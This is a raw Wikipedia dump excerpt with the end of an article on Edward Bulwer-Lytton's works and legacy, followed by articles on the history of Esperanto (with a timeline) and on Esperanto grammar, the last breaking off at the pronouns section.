Pelham had been partly inspired by [[Benjamin Disraeli, 1st Earl of Beaconsfield|Benjamin Disraeli]]'s first novel ''[[Vivian Grey]]''. Bulwer-Lytton was an admirer of Benjamin's father [[Isaac D'Israeli]], himself a noted literary figure, and had corresponded with him. Bulwer-Lytton and Disraeli began corresponding themselves in the late 1820s, and met for the first time in March of [[1830]], when Disraeli dined at Bulwer-Lytton's house. Also present that evening were [[Charles Pelham Villiers]] and [[Sir Alexander Cockburn|Alexander Cockburn]]. Although young at the time, Villiers went on to an exceptionally long parliamentary career, while Cockburn became [[Lord Chief Justice of England]] in [[1859]]. &lt;!-- Blake, 59--&gt;

He penned many other works, including ''[[The Coming Race|Vril: The Power of the Coming Race]]'', which drew heavily on his interest in the [[occult]] and contributed to the birth of the [[science fiction]] genre. Some believe the book helped to inspire [[Nazi mysticism]]. Unquestionably, its story of a subterranean race of men waiting to reclaim the surface is one of the first science fiction novels.

==Legacy==

Although he was popular in his day (and was a fine [[Victorian era|Victorian]] stylist), Bulwer-Lytton's prose strikes many contemporary readers as anachronistic and overly embellished, though at least one of his works (''The Last Days of Pompeii'') is still regularly read. 

His name lives on in the annual [[Bulwer-Lytton Fiction Contest]], in which contestants have to supply the openings of terrible (imaginary) novels, inspired by his novel ''[[Paul Clifford]]'', which opens with the famous words:&lt;blockquote&gt;&quot;It was a [[dark and stormy night]]&quot;&lt;/blockquote&gt;
or to give the sentence in its full glory:&lt;blockquote&gt;&quot;It was a dark and stormy night; the rain fell in torrents--except at occasional intervals, when it was checked by a violent gust of wind which swept up the streets (for it is in London that our scene lies), rattling along the housetops, and fiercely agitating the scanty flame of the lamps that struggled against the darkness.&quot;&lt;/blockquote&gt;

The shorter form of the opening sentence was popularized by the ''[[Peanuts]]'' comic strip, in which it usually began [[Snoopy]]'s sessions with the typewriter. It is also the first sentence of Madeleine L'Engle's Newberry Medal novel ''A Wrinkle in Time.'' Entrants in the contest seek to capture the rapid changes in point of view, the florid language, and the atmosphere of the full sentence.

Bulwer-Lytton's most famous respected turn of phrase is &quot;the pen is mightier than the sword,&quot; although its original quote is led with the phrase &quot;Beneath the rule of men entirely great,&quot; in the play ''Richelieu''. He also gave the world the memorable phrase &quot;pursuit of the [[almighty dollar]].&quot;  Finally, he is widely credited for &quot;the great unwashed.&quot;  Unfortunately, many citations claim ''The Last Days of Pompeii'' as their source, but perusal of the original work indicates that this is not the case. However, the term &quot;the Unwashed&quot;, with the same meaning, appears in ''The Parisians'' - &quot;He says that Paris has grown so dirty since the 4th September, that it is only fit for the feet of the Unwashed.&quot;

Several of his novels were made into [[opera]]s, one of which (''[[Rienzi]]'', by [[Richard Wagner]]) eventually became considerably more famous than the novel on which it was based.  Another of Bulwer-Lytton's novels, ''[[The Lady of Lyons]]'', was made into an opera by [[William Henry Fry]] (''[[Leonora (opera)|Leonora]]''); this was the first opera composed in the United States.

In [[1831]] Bulwer-Lytton undertook the editorship of the ''New Monthly'' but resigned the following year. In [[1841]], he started the ''Monthly Chronicle'', a semi-scientific magazine. During his career he wrote poetry, prose, and stage plays; his last novel was ''Kenelm Chillingly'', which was in course of publication in [[Blackwood's Magazine]] at the time of his death in [[1873]].

His works of fiction and non-fiction were translated in his day and since then into many languages, including [[German language|German]], [[Norwegian language|Norwegian]], [[Swedish language|Swedish]], [[French language|French]], [[Finnish language|Finnish]], and [[Spanish language|Spanish]].

==Other==
He also published an incomplete but perceptive work of history, ''Athens: Its Rise and Fall.''

==Further reading==
* T. H. S. Escott, ''Edward Bulwer, 1st Baron Lytton of Knebworth'' (1910).

==External links==
*[http://www.edward-bulwer-lytton.org/ Edward Bulwer-Lytton Books]
* {{gutenberg author|id=Edward_Bulwer-Lytton|name=Edward Bulwer-Lytton}}
*[http://reverent.org/bulwer-dickens.html Dickens or Bulwer-Lytton?] Take this quiz to see if you can tell the difference between their prose.

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{{succession box two to two | before=New Creation | title1=[[Earl of Lytton|Baron Lytton]] | title2=[[Earl of Lytton|Baronet]]&lt;br&gt;'''(of Knebworth) | after=[[Robert Bulwer-Lytton, 1st Earl of Lytton|Robert Bulwer-Lytton]] | years1=1866&amp;ndash;1873 | years2='''1838&amp;ndash;1873}}
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[[Category:1803 births|Lytton, Edward Bulwer-Lytton, 1st Baron]]
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[[Category:Barons in the Peerage of the United Kingdom|Lytton, Edward Bulwer-Lytton, 1st Baron]]
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      <text xml:space="preserve">{{Esperanto}}

The [[constructed language|constructed]] [[international auxiliary language]] [[Esperanto]] was developed in the 1870s and 80s by [[L. L. Zamenhof]], and first published in 1887.  The number of speakers has grown gradually over time, although it has not had much support from governments and international bodies, and has sometimes been outlawed or otherwise suppressed.

== Development of the language before publication ==
{{seesubarticle|Proto-Esperanto}}

Zamenhof would later say that he had dreamed of a world language since he was a child. At first he considered a revival of [[Latin]], but after learning it in school he decided it was too complicated to be a common means of international communication. When he learned English, he realized that [[grammatical conjugation|verb conjugations]] were unnecessary, and that grammatical systems could be much simpler than he had expected. He still had the problem of memorizing a large vocabulary, until he noticed two Russian signs labelled '''Швейцарская''' (''švejtsarskaja,'' a porter's lodge — from '''швейцар''' ''švejtsar,'' a porter) and '''Кондитерская''' (''konditerskaja,'' a confectioner's shop — from '''кондитер''' ''konditer,'' a confectioner). He then realized that a judicious use of [[affix]]es could greatly decrease the number of root words needed for communication. He chose to take his word stock from [[Romance languages|Romance]] and [[Germanic languages|Germanic]], the languages that were most widely taught in schools around the world and would therefore be recognizable to the largest number of people.

Zamenhof taught an [[Proto-Esperanto|early version of the language]] to his high-school classmates.  Then, for several years, he worked on [[translation]]s and [[poetry]] to refine his creation. In 1895 he wrote, &quot;I worked for six years perfecting and testing the language, even though it had seemed to me in 1878 that it was already completely ready.&quot; When he was ready to publish, the Czarist censors would not allow it.  Stymied, he spent his time in translating works such as the [[Bible]] and [[William Shakespeare|Shakespeare]].  This enforced delay led to continued improvement.  In July 1887 he published his ''[[Unua Libro]]'' (First Book), a basic introduction to the language. This was essentially the language spoken today.

== Esperanto history from publication until the first world congress ==

At first the movement grew most in the Russian empire and eastern Europe, but soon spread to western Europe and beyond: to [[Canada]] in 1901; to [[Algeria]], [[Chile]], [[Japan]], [[Mexico]], and [[Peru]] in 1903; to [[Tunisia]] in 1904; and to [[Australia]], the [[United States]], [[Guinea]], [[Indochina]], [[New Zealand]], [[Tonkin]], and [[Uruguay]] in 1905.

In its first years Esperanto was used mainly in publications by Zamenhof and early adopters like Anton Grabowski, in extensive correspondence (mostly now lost), in the magazine ''La Esperantisto'', published from 1889 to 1895 and only occasionally in personal encounters.  

In 1894 under pressure from Wilhelm Trompeter, the publisher of the magazine ''La Esperantisto'', and some other leading users, Zamenhof reluctantly put forward a radical reform to be voted on by readers. He proposed the reduction of the alphabet to 22 letters (by eliminating the accented letters and most of their sounds), the change of the plural to ''-i'', the use of a positional accusative instead of the ending ''-n'', the removal of the distinction between adjectives and adverbs, the reduction of the number of participles from six to two, and the replacement of the [[table of correlatives]] with more latinate words or phrases. These reforms were overwhelmingly rejected, but some were picked up in [[esperantido|subsequent reforms]] (such as [[Ido]]) and criticisms of the language.  In the following decade Esperanto spread into western Europe, especially France. By 1905 there were already 27 magazines being published ([[#References|Auld 1988]]).  

A small international conference was held in 1904, leading to the first world congress in August 1905 in [[Boulogne-sur-Mer]], [[France]].  There were 688 Esperanto speakers present from 20 nationalities.  At this congress, Zamenhof officially resigned his leadership of the Esperanto movement, as he did not want personal prejudice against himself (or [[anti-Semitism]]) to hinder the progress of the language.  He proposed a [[Declaration of Boulogne|declaration]] on founding principles of the Esperanto movement, which the attendees of the congress endorsed.

== Esperanto history since the first congress ==

World congresses have been held every year since 1905, except during the two World Wars.

The autonomous territory of [[Neutral Moresnet]], between Belgium and Germany, had a sizeable proportion of Esperanto-speakers among its small and multiethnic population.  There was a proposal to make Esperanto its official language.

In the early 1920s, there was a proposal for the [[League of Nations]] to accept Esperanto as their working language.  Ten delegates accepted the proposal with only one voice against, the French delegate, [[Gabriel Hanotaux]]. Hanotaux did not like how the [[French language]] was losing its position as the international language and saw Esperanto as a threat. However, two years later the League recommended that its member states include Esperanto in their educational curricula. Many people see the 1920s as the heyday of the Esperanto movement. 

Starting in the 1930s, [[Adolf Hitler]] and [[Joseph Stalin]] murdered many Esperanto speakers because of their [[nationalism|anti-nationalistic]] tendencies.  Hitler wrote in ''[[Mein Kampf]]'' that it was created as a universal language to unite the [[Judaism|Jewish]] [[diaspora]].  Stalin called it &quot;the language of spies&quot;.  While Esperanto itself was not enough cause for execution, its use was extended among Jews or trade unionists and encouraged contacts with foreigners.  

[[Fascist Italy]], on the other hand, made some efforts of promoting [[tourism in Italy]] through Esperanto leaflets.

The [[Cold War]], especially in the 1950s and 1960s, put a damper on the Esperanto movement as well, as there were fears on both sides that Esperanto could be used for enemy [[propaganda]]. However, the language experienced something of a renaissance in the 1970s and spread to new parts of the world, such as its veritable explosion in popularity in [[Iran]] in 1975. By 1991 there were enough African Esperantists to warrant a pan-African congress. The language continues to spread, although it is not officially recognized by any country, and is part of the state educational curriculum of only a few.

== Evolution of the language ==

The [[Declaration of Boulogne]] [http://www.geocities.com/Athens/Delphi/9061/bulonja.html] of 1905 limited changes to Esperanto.  That declaration stated, among other things, that the basis of the language should remain the ''Fundamento de Esperanto'' (&quot;Foundation of Esperanto&quot;, a group of early works by Zamenhof), which is to be binding forever: nobody has the right to make changes to it.  The declaration also permits new concepts to be expressed as the speaker sees fit, but it recommends doing so in accordance with the original style.

Many Esperantists believe this declaration stabilizing the language is a major reason why the Esperanto speaker community grew beyond the levels attained by other constructed languages and has developed a flourishing culture. Other constructed languages, such as [[Ido]], have been hindered from developing a stable speaking community by continual tinkering. Also, many developers of constructed languages have been possessive of their brain-children and have worked to prevent others from contributing to the language. One such ultimately disastrous case was [[Johann Martin Schleyer|Schleyer]]'s [[Volapük]]. In contrast, Zamenhof declared that &quot;Esperanto belongs to the Esperantists&quot;, and moved to the background once the language was published, allowing others to share in the early development of the language. 

The grammatical description in the earliest books was somewhat vague, so a consensus on usage (influenced by Zamenhof's answers to some questions) developed over time within boundaries set by the initial outline ([[#References|Auld 1988]]). Even before the Declaration of Boulogne, the language was remarkably stable; only one set of lexical changes were made in the first year after publication, namely changing &quot;when&quot;, &quot;then&quot;, &quot;never&quot;, &quot;sometimes&quot;, &quot;always&quot; from ''kian'', ''tian'', ''nenian'', ''ian'', ''ĉian'' to ''kiam'', ''tiam'', ''neniam'' etc to avoid confusion with the accusative forms of ''kia'' &quot;what sort of&quot;, ''tia'' &quot;that sort of&quot;, etc. Thus Esperanto achieved a stability of structure and grammar similar to that which natural languages enjoy by virtue of their native speakers and established bodies of literature. One could learn Esperanto without having it move from underfoot. Changes could and did occur in the language, but only by acquiring widespread popular support; there was no central authority making arbitrary changes, as happened with [[Volapük]] and some other languages.

Modern Esperanto usage may in fact depart from that originally described in the ''Fundamento'', though the differences are largely semantic (involving changed meaning of words) rather than grammatical or phonological.  The translation given for &quot;I like this one&quot;, in the [[Esperanto#Examples|sample phrases]] in the main [[Esperanto]] article, offers a significant example.  According to the ''Fundamento'', ''Mi ŝatas ĉi tiun'' would in fact have meant &quot;I esteem this one&quot;.  The traditional usage is ''Tiu ĉi plaĉas al mi'' (literally, &quot;this one is pleasing to me&quot;), which reflects the phrasing most European languages (French ''celui-ci me plaît'', Spanish ''éste me gusta'', Russian ''это мне нравится'' [eto mnye nravitsya], German ''Das gefällt mir'', Italian ''mi piace''). However, the original ''Ĉi tiu plaĉas al mi'' is commonly used as well.

Other changes include a reduction of the number of inherently masculine words, and an increase in the East Asian-like use of adjectival verbs. Originally all members of a profession, such as ''dentisto'' &quot;a dentist&quot;, all people defined by a characteristic, such as ''junulo'' &quot;a youth&quot;, and all verbal participles used for humans, such as ''kuranto'' &quot;a runner&quot;, were masculine unless specifically made feminine with the suffix ''-ino''; currently only some twenty words, mostly kinship terms, remain masculine. More recently, [[stative verb]]s have been increasingly used instead of copula-plus-adjective phrasing, following some poetic usage, so that one now frequently hears ''li sanas'' for ''li estas sana'' &quot;he is well&quot;.

More minor changes have affected the names of some countries named after ethnicities, whose endings have changed from ''-ujo'' to ''-io'', and women's names ending in ''-a'' (e.g. ''Maria''), whereas purists once insisted on using the noun ending ''-o'' (e.g. ''Mario'' or ''Mariino'').

Esperantists have also formed many words to express concepts which arose since the publication of the ''Fundamento'', and these have generally conformed to the existing style of the language.  For example, early proposals for the word &quot;computer&quot; included ''komputero'' and ''komputoro'', but the word in current use is ''komputilo'' (from the root of the verb ''komputi'' &quot;to compute&quot; plus the suffix ''-ilo'' used for tools and instruments). ''Eŭro'' is another example: even though the currency is spelled ''[[euro]]'' in official legal documents in all the [[European Union]]'s languages which use a Latin script, in Esperanto ''eŭro'' was chosen to better fit the phonotactics of the language.

Not all new coinages meet ready [[acceptance]], however. For example, the [[neologism]] ''ĉipa'' &quot;cheap&quot; has appeared as an alternative to the more verbose ''malmultekosta'', &quot;inexpensive&quot;, but remains in minority usage.

== Dialects, Reform Projects and Derived Languages ==

Esperanto has not fragmented into regional [[dialect]]s through natural language use. This may be because it is the language of daily communication for only a small minority of its speakers. However at least three other factors work against dialects, namely the centripetal force of the Fundamento, the unifying influence of the Plena Vortaro and its successors, which exemplified usage from the works of Zamenhof and leading writers, and the transnational ambitions of the speech community itself. [[Slang]] and [[jargon]] have developed to some extent, but such features interfere with universal communication &amp;mdash; the whole point of Esperanto &amp;mdash; and so have generally been avoided. 

However, in the early twentieth century numerous reform projects were proposed. Almost all of these &quot;[[esperantido]]&quot;s were stillborn, but the very first, [[Ido]] (&quot;Offspring&quot;), had significant success for several years. Ido was proposed by the ''[[Delegation for the Adoption of an International Auxiliary Language]]'' in [[Paris]] in October 1907. Its main reforms were in bringing the [[alphabet]], [[semantics]], and some [[Grammar|grammatical]] features into closer alignment with the [[Romance languages]], as well as removal of adjectival agreement and the accusative case except when necessary. At first a number of leading Esperantists put their support behind the Ido project, but the movement stagnated and declined, first with the accidental death of one of its main proponents and later as people proposed further changes, and the number of current speakers is estimated at between 250 and 5000. However, Ido has proven to be a rich source of Esperanto vocabulary. 

Some more focused reform projects, affecting only a particular feature of the language, have gained a few adherents. One of these is &quot;[[riism]]&quot;, which modifies the language to incorporate [[non-sexist language]] and [[gender-neutral pronoun]]s. However, most of these projects are specific to individual nationalities (riism from English speakers, for example), and the only changes that have gained acceptance in the Esperanto community have been the minor and gradual bottom-up reforms discussed in the last section. 

Esperanto is credited with influencing or inspiring several later competing language projects, such as [[Occidental]] (1922) and [[Novial]] (1928). These always lagged far behind Esperanto in their popularity. Only [[Interlingua]] (1951) has managed to equal or surpass even Ido in terms of support. It shows little or no Esperanto influence, however.
:''See also [[Esperantido]]''

== References ==
* Auld, William.  ''La Fenomeno Esperanto''.  Rotterdam: UEA, 1988.
* Lins, Ulrich.  ''La Danĝera Lingvo''.  Gerlingen, Germany:  Bleicher Eldonejo, 1988.  (Also available in Polish [http://esperanto.pl/pagephp?tid=311075])
*Privat, Edmond.  ''The Life of Zamenhof''.  Bailieboro, Ontario:  Esperanto Press, 1980.
* Zamenhof, L. L.  ''Letero al N. Borovko.''  1895.[http://gxangalo.com/modules/sections03/index.php?op=viewarticle&amp;artid=15]


== Timeline of Esperanto ==

*1859: [[L. L. Zamenhof|Lazar Zamenhof]], the creator of Esperanto, is born in [[Bialystok|Białystok]], Russia (now Poland).
*1873: The Zamenhof family moves to [[Warsaw]]. 
*1878: Zamenhof celebrates the completion of his universal language project, ''[[Proto-Esperanto|Lingwe Uniwersala]]'', with high-school friends. 
*1879: Zamenhof attends medical school in [[Moscow]]. His father burns his language project while he's away. Meanwhile [[Johann Martin Schleyer|Schleyer]] publishes a sketch of [[Volapük language|Volapük]], the first [[constructed language|constructed international auxiliary language]] to acquire a number of speakers. Many Volapük clubs will later switch to Esperanto. 
*1881: Zamenhof returns to Warsaw to continue medical school, and starts to recreate his project.  
*1887: Zamenhof marries, and with his wife's help publishes ''[[Unua Libro]]'', the book introducing modern Esperanto. 
*1888: [[Leo Tolstoy]] becomes an early supporter. 
*1894: Zamenhof, reacting to pressure, puts a radical reform to a vote, but it is overwhelmingly rejected. 
*1901: Zamenhof publishes [[Hillelism|his ideas on a universal religion]], based on the philosophy of [[Hillel the Elder]]. 
*1905: The first ''[[World Congress of Esperanto|Universala Kongreso]]'' (World Congress) is held in [[Boulogne-sur-Mer]], with 688 participants and conducted entirely in Esperanto. The ''[[Fundamento de Esperanto]]'' is published.
*1907: Twelve members of the British parliament nominate Zamenhof for the [[Nobel Peace Prize]]. The ''Ĉekbanko Esperantista'' (Esperantist Checking Bank) is founded in London, using the ''[[spesmilo]]'', an auxiliary Esperanto currency based on the [[gold standard]]. A committee organized by [[Louis Couturat]] in [[Paris]] proposes the [[Ido]] reform project, which provides significant competition for Esperanto until the [[World War I|First World War]].
*1908: ''[[World Esperanto Association|Universala Esperanto-Asocio]]'', the World Esperanto Association, is founded by [[Hector Hodler]], a 19-year-old [[Switzerland|Swiss]] Esperantist.
*1909: The ''International Association of Esperantist Railway Workers'' is founded in [[Barcelona]]. 
*1910: 42 members of the French parliament nominate Zamenhof for the Nobel Peace Prize.
*1912: In this year, if not earlier, the spiritual leader of the [[Bahá'í Faith]], [[`Abdu'l-Bahá]], instructs his Asian followers to learn Esperanto.
*1917: Zamenhof dies during [[World War I]]. 
*1910s: Esperanto is taught in state schools in [[China]], [[Samos Island|Samos]], and [[Macedonia (region)|Macedonia]]. (Today it is part of the curriculum of China, [[Hungary]], and [[Bulgaria]].) 
*1920: The first Esperanto magazine for the blind, ''Aŭroro'', begins publishing in [[Czechoslovakia]]. It's still in print today. 
*1921: The [[Académie des Sciences|French Academy of the Sciences]] recommends using Esperanto for international scientific communication. 
*1922: Esperanto is banned from French schools. The French delegate to the [[League of Nations]] vetoes the use of Esperanto as its working language, leaving English and French. 
*1924: The [[League of Nations]] recommends that member states implement Esperanto as an auxiliary language. The [[Oomoto]] religion, which holds that Zamenhof is an ''[[kami|akitsumikami]]'' (manifest divinity), begins publishing in Esperanto.
*1920s: Offices of the [[Brazil]]ian Ministry of Education use Esperanto for their international correspondence. [[Lu Xun]], the founder of modern Chinese literature, becomes a supporter of Esperanto. [[Montagu Christie BUTLER|Montagu Butler]] is the first to raise Esperanto-speaking children. 
*1934: [[Encyclopedia of Esperanto]] first published in [[Budapest]].
*1935: [[Kálmán Kalocsay|Kalocsay]] and [[Gaston Waringhien|Waringhien]] publish the influential ''Plena Gramatiko de Esperanto'' (Complete Grammar of Esperanto). 
*1936: Esperanto is banned in [[Nazi Germany]].
*1937: First mass execution of Esperantists in the [[Soviet Union]]. 
*1938: The World Esperanto Youth Organization [[TEJO]] is founded. 
*1939-[[1945]]: [[World War II]] slows down the Esperanto movement. Esperantists are sent to the [[gulag]] and to [[Nazi]] [[concentration camp]]s. Internment at the [[gulag]] continues through the 1950s. 
*1948: The railway workers' association is refounded as [[IFEF]], the ''Internacia Fervojista Esperanto-Federacio'' (International Railway Workers' Esperanto Federation) to foster the use Esperanto in the administration of the railroads of the world (so far, of Eurasia). 
*1954: [[United Nations Educational, Scientific and Cultural Organization|UNESCO]] establishes consultative relations with the [[World Esperanto Association]]. 
*1966: The precursor to ''[[Pasporta Servo]]'' is launched in [[Argentina]]. ''Pasporta Servo'' is a global network of Esperanto speakers who host Esperantists traveling through their countries. 
*1967: [[István Nemere]] founds the ''Renkontiĝo de Esperanto-Familioj'', the first organization for Esperanto-speaking families. 
*1975: The Esperanto movement spreads to [[Iran]], with three thousand learning the language in Tehran.
*1980: The ''Internacia Junulara Kongreso'' (International Youth Congress) in [[Rauma, Finland]] makes explicit the view of many in the Esperanto movement that Esperanto is a goal in itself. 
*1985: UNESCO encourages UN member states to add Esperanto to their school curricula. 
*1987: 6000 Esperantists attend the 72&lt;sup&gt;nd&lt;sup&gt; ''[[World Congress of Esperanto|Universala Kongreso]]'' in [[Warsaw]] to mark Esperanto's centennial. 
*1991: The first pan-African Esperanto Conference is held in [[Lomé]], [[Togo]]. 
*1999: The Esperanto poet [[William Auld]] is nominated for the [[Nobel Prize in Literature]]. 
*2001: The [[:eo:Ĉefpaĝo|Vikipedio]] project (Esperanto Wikipedia) is launched, resulting in the first general encyclopedia written in a constructed language. It is now one of the most popular websites in Esperanto.
*2004: The [[Europe - Democracy - Esperanto]] party (E°D°E°) contests the [[European Parliament election, 2004|European Parliament elections]] in France, on a platform of making Esperanto the second language of all EU member states, taking 0.15% of the vote. 

[[Category:Esperanto history|*]]

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      <text xml:space="preserve">[[Esperanto]] is a [[constructed language|constructed]] [[international auxiliary language|auxiliary language]] based on the languages of Europe. A logical structure makes Esperanto easier to learn than most of the world's languages, even for non-Europeans, though particular features may be more or less advantageous to speakers of different language backgrounds. The grammar is very nearly regular, the [[part of speech|parts of speech]] have distinctive word endings (''-o'' for nouns, ''-a'' for adjectives, etc.), and the rules of word formation are so straightforward that new words may be coined on the spot and readily understood, allowing speakers to make do with a much smaller vocabulary than in most other languages.
{{Esperanto}}
==Grammatical summary==
Esperanto has an [[agglutinative language|agglutinative]] [[Morphology (linguistics)|morphology]], no [[grammatical gender]], and simple [[grammatical conjugation|verbal]] and [[noun case|nominal inflections]]. Although it is billed as an international language, Esperanto [[syntax]], vocabulary, and [[semantics]] are thoroughly European. [[Verb]]s are [[Inflection#Inflection vs. derivation|inflected]] for four [[Grammatical mood|moods]], of which the [[Grammatical mood#Indicative mood|indicative]] has three [[grammatical tense|tense]]s, and are [[Inflection#Inflection vs. derivation|derived]] for several [[Aktionsart|aspects]], but do not agree with the [[grammatical person]] or [[grammatical number|number]] of their [[Subject (grammar)|subjects]]. [[Noun]]s and [[adjective]]s have two [[noun case|case]]s, [[nominative case|nominative]]/[[oblique case|oblique]] and [[accusative case|accusative]]/[[allative case|allative]], and two [[grammatical number|numbers]], [[singular]] and [[plural]]; demonstrative and perhaps personal [[pronoun]]s also have a [[genitive case]]. Adjectives generally [[agreement|agree]] with nouns in case and number. In addition to indicating [[direct object]]s, the accusative/allative case is used with nouns, adjectives and [[adverb]]s to show the destination of a motion, or to replace certain [[preposition]]s; the nominative/oblique is used in all other situations. The case system allows for a flexible [[word order]] that reflects [[information flow]] and other [[pragmatics|pragmatic]] concerns, as in [[Russian language|Russian]], [[Greek language|Greek]], and [[Latin]]. 

These concepts are illustrated below.

==Script and pronunciation==
The script is modeled after the [[Czech alphabet]], but with [[circumflex]] [[diacritic]]s instead of [[háček]]s on the letters ''ĉ, ŝ;'' Westernized ''ĝ, ĵ'' in place of Slavic ''dž, ž;'' and ''ĥ'' rather than ''ch'' (there are no [[Digraph (orthography)|digraph]]s). The letter ''ŭ'' is shared with the [[Belarusian language|Belarusian]] [[Łacinka]] alphabet. (See [[Esperanto orthography]].) 

The [[consonant]]s are similar to those of Polish and especially Belarusian, except for a lack of [[palatalization]]; and the [[vowel]]s are also those of Belarusian, minus a couple of the less easily distinguished [[diphthong]]s such as ''oǔ''. (See [[Esperanto phonology]].) 

The [[Italian language]] is suggested as a model for [[Esperanto pronunciation]].

==The article==
Esperanto has a single [[definite article]], ''la'', which is invariable. It is similar to English ''the''. 

''La'' is used:

:For identifiable, countable objects,
::''mi trovis botelon kaj deprenis la fermilon'' (I found a bottle and took off the lid).
:For representative individuals,
::''la gepardo estas la plej rapida de la bestoj'' (The cheetah is the fastest of the beasts)
::''la abeloj havas felon, sed ili ne taŭgas por karesi'' (Bees have fur, but are not good for petting).
:For adjectives used as nouns, such as ethnic adjectives used as the names of languages,
::''la blua'' (the blue one)
::''la angla'' (English: lit., &quot;the English [language]&quot;).
:For [[possessive pronoun]]s, when definite,
::''la mia bluas, la via ruĝas'' (mine is blue, yours is red).

The article is also used for [[inalienable possession]] of body parts and kin terms, where English would use a [[possessive adjective]],
:''ili tranĉis la manon'' (they cut their hands [one hand each])

The article ''la'', like the [[demonstrative adjective]] ''tiu'' (this, that), nearly always occurs at the beginning of the [[noun phrase]], but this is not required by the grammar, and exceptions occur in poetry.

There is no grammatically required [[indefinite article]]: ''homo'' means either ''human being'' or ''a human being'', depending on the context, and similarly the plural ''homoj'' means ''human beings'' or ''some human beings''. The words ''iu'' and ''unu'' (or their plurals ''iuj'' and ''unuj'') may be used somewhat like indefinite articles, but they're closer in meaning to &quot;some&quot; and &quot;a certain&quot; than to English &quot;a&quot;.

==Parts of speech and their word endings==
The grammatical [[suffix]]es ''-o'', ''-a'', ''-e'', and ''-i'' indicate that a word is a [[noun]], [[adjective]], [[adverb]], and [[infinitive]] [[verb]], respectively. Many new words can be derived simply by changing these suffixes, just as ''-ly'' derives adverbs from adjectives in English: From ''vidi'' (to see), we get ''vida'' (visual), ''vide'' (visually), and ''vido'' (sight). 

Each [[root word]] has an inherent [[part of speech]]. The nominal suffix ''-o'' with a nominal root is redundant, but with an adjectival or verbal root it indicates an abstraction: ''parolo'' (an act of speech, one's word) from the verbal root ''paroli'' (to speak); ''belo'' (beauty) from the adjectival root ''bela'' (beautiful). Likewise, the adjectival suffix ''-a'' is redundant with adjectival roots, but not with nominal or verbal roots: ''reĝa'' (royal), from the nominal root ''reĝo'' (a king); ''parola'' (spoken). The various verbal endings mean ''to be'' with an adjectival root: ''beli'' (to be beautiful); and with a nominal root mean ''to act as'' the noun, ''to use'' the noun, ''etc.'', depending on the semantics of the root: ''reĝi'' (to reign). There are relatively few adverbial roots, so most words ending in ''-e'' are derived: ''bele'' (beautifully). Often with a nominal or verbal root, the English equivalent is a [[prepositional phrase]]: ''parole'' (by speech, orally); ''vide'' (visually, by sight); ''reĝe'' (like a king, royally). 

A suffix ''-j'' following the noun or adjective suffixes ''-o'' or ''-a'' makes a word plural. Without this suffix, a [[countable noun]] is understood to be singular. [[Direct object]]s take an [[accusative case]] suffix ''-n'', which goes after any plural suffix. (The resulting sequence ''-ojn'' rhymes with English ''coin'', and ''-ajn'' rhymes with ''fine''.)

Adjectives [[agreement|agree]] with nouns. That is, they are plural if the nouns they [[Grammatical modifier|modify]] are plural, and accusative if the nouns they modify are accusative. Compare ''bona tago; bonaj tagoj; bonan tagon; bonajn tagojn'' (good day/days). Zamenhof may have later regretted making this requirement, but it allows for the free word orders of adjective-noun and noun-adjective, even when two noun phrases are adjacent in [[Subject Object Verb|subject-object-verb]] or [[Verb Subject Object|verb-subject-object]] clauses:

:''la knabino feliĉa'''n''' knabo'''n''' kisis'' (the girl kissed a happy boy)
:''la knabino feliĉa knabo'''n''' kisis'' (the happy girl kissed a boy).

Agreement clarifies the [[syntax]] in other ways as well. Adjectives take the plural suffix when they modify more than one noun, even if those nouns are all singular,
:''ruĝa'''j''' domo kaj aŭto'' (a red house and [a red] car) 
:''ruĝa domo kaj aŭto'' (a red house and a car). 
A [[predicative adjective]] does not take the accusative case suffix even when the noun it modifies does,
:''mi farbis la pordo'''n''' ruĝa'''n''''' (I painted the red door)
:''mi farbis la pordo'''n''' ruĝa'' (I painted the door red). 

Esperanto roots have an inherent part of speech, which needs to be kept in mind. For example, ''brosi'' (to brush) is based on a nominal root, whereas ''kombi'' (to comb) is based on a verbal root. Change the grammatical suffix to ''-o'', and their superficially similar meanings diverge: ''broso'' (a brush, the name of an instrument) vs. ''kombo'' (a combing, the name of an action). Dictionaries help here by listing the roots as ''bros'''o''''' and ''komb'''i'''''. Changing verbal ''kombi'' (to comb) to a noun simply creates the name for the action, ''kombo'' (a combing). For the name of the tool, the suffix ''-ilo'' is used, which derives words for instruments from verbal roots: ''kombilo'' (a comb). On the other hand, changing the nominal root ''broso'' (a brush) to a verb gives the action associated with that noun, ''brosi'' (to brush). For the name of the action, the suffix ''-ado'' will change a derived verb back to a noun: ''brosado'' (a brushing). Similarly, an abstraction of a nominal root (changing it to an adjective and then back to a noun) requires the suffix ''-eco'', as in ''infaneco'' (childhood), but an abstraction of an adjectival or verbal root merely requires the nominal ''-o'': ''belo'' (beauty). However, the seemingly redundant form ''beleco'' is also acceptable and widely used.

Additionally, most verbs are inherently [[transitive]] or [[intransitive]]. Transitivity is changed with the suffixes ''-igi'' (the transitivizer/[[causative]]) and ''-iĝi'' (the intransitivizer/[[middle voice]]): 
:''akvo bolas je cent gradoj'' (water boils at 100 degrees)
:''ni bol'''ig'''as la akvo'''n''''' (we boil the water).
Transitivity is covert in Esperanto. That is, it is not apparent from the shape of the verb, and must simply be memorized. 

A limited number of basic adverbs do not end with ''-e'', but with an indefinite part-of-speech ending ''-aŭ''. (Not all words ending in ''-aŭ'' are adverbs.) Most of the adverbs ending in ''-aŭ'' are used as other parts of speech as well, such as ''hodiaŭ'' &quot;today&quot; [noun or adverb] or ''ankoraŭ'' &quot;yet, still&quot; [conjunction or adverb], and people would find it difficult to use the adverbial suffix ''-e'' only when these words function as adverbs. About a dozen other adverbs are bare roots, such as ''nun'' &quot;now&quot;, ''tro'' &quot;too, too much&quot;, not counting the adverbs among the [[Esperanto grammar#Correlatives|correlatives]]. (See [[special Esperanto adverbs]]). 

The other parts of speech occur as bare roots, without a special suffix. They are the pronouns (''mi'' &quot;I&quot;), prepositions (''al'' &quot;to&quot;), conjunctions (''kaj'' &quot;and&quot;), interjections (''ho'' &quot;oh&quot;), and numerals (''du'' &quot;two&quot;). (The final ''-i'' found on pronouns is not, strictly speaking, a suffix.) There are also several &quot;[[grammatical particles]]&quot; which don't fit neatly into any part of speech, and which must generally precede the words they modify, such as ''ne'' (not), ''ankaŭ'' (also), ''nur'' (only), ''eĉ'' (even).

==Pronouns==
There are three types of pronouns in Esperanto: personal (''vi'' &quot;you&quot;), demonstrative (''tio'' &quot;that&quot;, ''iu'' &quot;someone&quot;), and relative/interrogative (''kio'' &quot;what&quot;). Unlike nouns, pronouns take three cases: nominative/oblique, accusative, and genitive.  

===Personal pronouns===
